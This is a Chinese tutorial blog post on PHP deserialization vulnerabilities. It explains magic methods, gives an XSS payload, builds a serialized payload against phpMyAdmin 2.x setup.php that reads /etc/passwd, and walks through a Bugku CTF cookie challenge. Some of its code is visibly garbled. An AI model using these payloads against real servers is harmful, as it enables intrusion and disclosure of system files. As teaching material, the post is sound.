PHP反序列化漏洞

1、PHP序列化和反序列化

在学习PHP反序列化漏洞之前,我们有必要先来了解一下这两个函数,serialize()unserialize(),熟悉PHP的大佬都知道,这两个是序列化和反序列化函数,那什么是序列化和反序列化。根据官方手册,所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。那么简单来说,序列化就是把一个对象变成可以传输的字符串,反序列化就是把序列化后的字符串还原成对象。

序列化示例:

<?php
 class S{
     public $test="github";
 }
 $s=new S(); //创建一个对象
 serialize($s); //把这个对象进行序列化
 echo serialize($s)
?>
/**
上述代码会返回 O:1:"S":1:{s:4:"test";s:6:"github";}字符串。
     o:代表一个object
     第一个1:代表对象名字长度为一个字符
     S:对象的名称
     第二个1:代表对象里面有一个变量
     s:数据类型
     4:变量名称长度
     test:变量名称
     s:数据类型
     6:变量值的长度
     github:变量值
**/

2、反序列化漏洞

需要注意的是,序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。我们来了解一下几个常见的魔法函数

__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup()在被反序列化之前先调用该函数

漏洞示例:
<?php
	class S{
		var $test = "github";
		function __destruct(){
			echo $this->test;
     }
	}
 $s = $_GET['test'];
 @$unser = unserialize('O:1:"S":1:{s:4:"test";s:29:"<script>alert("xss")</script>";}');
?>
//上面的代码反序列化函数里面的东西是用户自己输入的,当用户输入该payload时,函数执行完就会弹出一个框,而之所以会这样,就是因为没有对用户输入的内容进行控制。

根据上面所说的内容,我们可以总结出该漏洞利用的条件:unserialize函数的参数用户可控,所写的内容需要有对象中的成员变量的值,脚本中存在魔法函数。

3、漏洞解析

漏洞样例:phpMyAdmin 2.x中存在的反序列化漏洞,漏洞位置在/scripts/setup.php文件中。

下面我们看一下源代码:

define( 'PMA_MINIMUM_COMMON', TRUE );
chdir('..');
require_once('./libraries/common.lib.php');   //引入该php文件

// Grab configuration defaults
$PMA_Config = new PMA_Config();   //创建了PMA_Config对象,PMA_Config就是对象名

// Script information
$script_info = 'phpMyAdmin ' . $PMA_Config->get('PMA_VERSION') . ' setup script by Michal ?iha? <michal@cihar.com>';
$script_version = '$Id$';

// Grab action
if (isset($_POST['action'])) {
 $action = $_POST['action'];
} else {
 $action = '';
}

if (isset($_POST['configuration']) && $action != 'clear' ) {    
 //如果configuration存在并且action不为clear,则对configuration进行反序列化操作
 // Grab previous configuration, if it should not be cleared
 $configuration = unserialize($_POST['configuration']);   //反序列化
} else {
 // Start with empty configuration
 $configuration = array();
}

// We rely on Servers array to exist, so create it here
if (!isset($configuration['Servers']) || !is_array($configuration['Servers'])) {
 $configuration['Servers'] = array();
}
//代码上面重要部分有注释

上面的这段代码简单来说,就是通过输入一个序列化字符,会反序列化成一个对象,但是并没有看到魔法函数。

因此我们接着看引入的文件./libraries/common.lib.php

require_once './libraries/sanitizing.lib.php';
require_once './libraries/Theme.class.php';
require_once './libraries/Theme_Manager.class.php';
require_once './libraries/Config.class.php';   //引入了Config.class.php

这个文件又引入了其他文件,我们主要看Config.class.php,这个才是重点文件。

./libraries/Config.class.php:

function __wakeup()   //魔法函数__wakeup,该魔法函数在对象被序列化之后立即被触发调用:
    {
        if ( $this->source_mtime !== filemtime($this->getSource())
          || $this->error_config_file || $this->error_config_default_file ) {
            $this->settings = array();
            $this->load($this->getSource());   //满足条件会调用load函数
            $this->checkSystem();
        }
        // check for https needs to be done everytime,
        // as https and http uses same session so this info can not be stored
        // in session
        $this->checkIsHttps();
        $this->checkCollationConnection();
    }
    
function load($source = null)
    {
        $this->loadDefaults();
        if ( null !== $source ) {
            $this->setSource($source);
        }
        if ( ! $this->checkConfigSource() ) {
            return false;
        }
        $cfg = array();
        /**
         * Parses the configuration file
         */
        $old_error_reporting = error_reporting(0);
        if ( function_exists('file_get_contents') ) {
            $eval_result =file_get_contents
                eval( '?>' . file_get_contents($this->getSource()) );    //重点在这几行代码,当检测到file_get_contents函数存在时,输出字符串,不存在是输出文件内容
        } else {
            $eval_result =
                eval( '?>' . implode('\n', file($this->getSource())) );         
        }
        error_reporting($old_error_reporting);

        if ( $eval_result === false ) {
            $this->error_config_file = true;
        } else  {
            $this->error_config_file = false;
            $this->source_mtime = filemtime($this->getSource());
        }
        /**
         * @TODO check validity of $_COOKIE['pma_collation_connection']
         */
        if ( ! empty( $_COOKIE['pma_collation_connection'] ) ) {
            $this->set('collation_connection',
                strip_tags($_COOKIE['pma_collation_connection']) );
        } else {
            $this->set('collation_connection',
                $this->get('DefaultConnectionCollation') );
        }

        $this->checkCollationConnection();
        //$this->checkPmaAbsoluteUri();
        $this->settings = PMA_array_merge_recursive($this->settings, $cfg);
        return true;
    }

在这个文件里面,我们找到魔法函数__wakeup(),并且通过代码解析我们可以发现,满足魔法函数的条件时会调用load函数,我们进一步继续跟踪load函数会发现传入了一个source变量,并且在load函数中有几行重要的代码,也是漏洞的关键位置。我将这几行代码单独放在下面来看一看。

        if ( function_exists('file_get_contents') ) {
            $eval_result =file_get_contents
                eval( '?>' . file_get_contents($this->getSource()) );    //重点在这几行代码,当检测到file_get_contents函数存在时,输出字符串,不存在是输出文件内容
        } else {
            $eval_result =
                eval( '?>' . implode('\n', file($this->getSource())) );         
        }

当检测到file_get_contents被定义,则通过eval函数执行读入的字符串;如果没有file_get_contents函数,则通过file读入文件,同时利用implode函数把文件内容利用\n拼接,再执行eval函数。

那么整个代码的分析过程就已经完成了,通过上面的解析,我们可以发现,当我们输入一个序列化字符串,在被反序列化成一个对象之前,会先触发__wakeup()函数,并且满足该魔法函数内的要求时,则可以进行任意读取文件或其他操作。

接下来我们所需要的就是构造我们需要的payload。

在setup.php文件中,我们需要两个传参字段,actionconfiguration,同时创建了对象PMA_Config

并且在load函数中传入source参数。

<?php
class PMA_Config{
	public $source="/etc/passwd";
}
$PMA_Config=new PMA_Config();
echo serialize($PMA_Config);
?>

我们得到的序列化的字符串为:O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}

可以看到上面的payload把etc下的passwd文件给读取出来了。

4、CTF样题

这里顺便附上一道Bugku的CTF样题。

题目地址:flag.php,提示为:hint

这是一个点击登录完全没效果的页面,按照提示,我给了个hint=111的参数,页面显示源码。源码如下:

<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
  <form method="POST" action="#">
    <p><input name="user" type="text" placeholder="Username"></p>
    <p><input name="password" type="password" placeholder="Password"></p>
    <p><input value="Login" type="button"/></p>
  </form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?>

我把源码给简单过滤了一下不需要看的部分

<?php
error_reporting(0);
include_once("flag.php");  
$cookie = $_COOKIE['ISecer'];  //取出cookie
if(isset($_GET['hint'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")   //重点来了,对cookie进行反序列化操作,若等于$KEY则输出flag
{   
    echo "$flag";
}
else {
?>
    
$KEY='ISecer:www.isecer.com';

源码还是很容易就看得懂的,首先取出名为ISecer的cookie,然后对该cookie进行反序列化操作,等于给定的值时则输出flag。

不过还是被这个题目给小小的坑了一下,其实也不算坑吧,是我自己PHP没有学好哈哈,我一开始用下面给定的$KEY='ISecer:www.isecer.com';进行序列化后传给ISecer,但是一直不行,后来才发现在php源码中并没有定义这个KEY的值,因此这个值应该为空,即“”。

<?php
echo serialize("");
?>

得到的结果为s:0:"";

成功取出flag,这道题本身也很容易,算是对反序列化漏洞的运用吧。
我的博客:https://blog.z7sz.top

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xingyuzhongxuan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值